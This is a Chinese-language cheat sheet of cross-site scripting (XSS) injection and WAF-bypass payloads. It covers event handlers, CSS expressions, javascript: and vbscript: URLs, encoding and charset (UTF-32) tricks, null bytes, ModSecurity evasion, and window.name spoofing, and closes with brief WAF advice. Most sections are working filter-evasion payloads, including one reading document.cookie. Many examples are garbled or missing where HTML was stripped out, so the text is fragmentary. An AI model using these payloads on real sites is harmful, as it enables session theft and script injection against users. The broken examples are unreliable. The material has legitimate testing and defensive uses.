XSS插入绕过一些方式总结
我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射、存储、DOM这三类,至于具体每个类别的异同之处,本文不做学术介绍,直接介绍实际的插入方式。
1 常规插入及其绕过
1.1 Script 标签
绕过进行一次移除操作:
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:
1.2 JavaScript 事件
我们可以像如下这样在元素中定义 JavaScript 事件:
1.3 行内样式(Inlinestyle)
我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:
1.4 CSS import
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。
malicious.css:
body {
color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。
1.5 Javascript URL
链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:
link
上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:
link
上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。
另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:
link
'-confirm`1`-'
'-confirm(1)-'
1.6 利用字符编码
%c1;alert(/xss/);//
1.7 绕过长度限制
"οnclick=alert(1)//
">
M
M
M
2规则探测及绕过
2.1 WAF规则探测
2.1.1使用无害的payload,类似,,观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;
2.1.2 如果过滤闭合标签,尝试无闭合标签的payload(2.1.3 尝试以下的payload
2.2 大小写混合字符
2.2.1 如果大小写不行的话, // Works With All Browsers
( is html encoded to (
) is html encoded to )
Opera的变量
2.4.2 非常规事件监听
DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
此类事件的列表
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
2.4.3 超文本内容
代码中的情况如下
href=”Userinput”>Click
可以使用javascript:alert(1)//直接执行 href=”javascript:alert(1)//”>Click
2.4.4 变形
主要包含大小写和JavaScript变形
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:\u0061lert(1);
javascript:\u0061lert(1)
avascript:alert(document.cookie) // AsharJaved
IE10以下和URI中可以使用VBScript
vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
2.4.5JSON内容
反射输入
encodeURIComponent('userinput')
可以使用
-alert(1)-
-prompt(1)-
-confirm(1)-
结果
encodeURIComponent(''-alert(1)-'')
encodeURIComponent(''-prompt(1)-'')
2.4.6 输入反射在svg标签内
源码如下:
可以输入
www.site.com/test.php?var=text”;alert(1)//
如果系统编码了”字符
原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理
浏览器BUG
2.4.7 字符集BUG
字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。
示例
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
可以控制编码,提交
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”> src=x οnerrοr=prompt(0);>
可以修改为UTF-32编码形式
???script?alert(1)?/script?
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
2.4.8 空字节
最长用来绕过mod_security防火墙,形式如下:
confirm(0);
空字节只适用于PHP 5.3.8以上的版本
2.4.9 语法BUG
RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行
<%0ascript>alert(1);
<%0bscript>alert(1);
<%, /, / style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71
// Worksupto IE9 参考http://html5sec.org/#115
<%div%20style=xss:expression(prompt(1))> // Works Upto IE7
2.4.10Unicode分隔符
[on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:
IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox= [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
x0b在Mod_security中已经被过滤,绕过的方法:
rhainfosec
2.4.11缺少X-frame选项
通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞
Docmodes
IE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式
expression(open(alert(1)))
以下POC可以插入到IE7中
2.4.12Window.name欺骗
情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码
POC
DOM型XSS
服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:
在一些情况下,反射型XSS可以转换成DOM型XSS:
http://www.target.com/xss.php?foo=
2.4.13ModSecurity绕过
rhainfosec
参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
2.4.14WEB KNIGHT绕过
3结论
黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:
3.1开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;
3.2要保持WAF的规则库更新;
3.3 WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警;
3.4如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。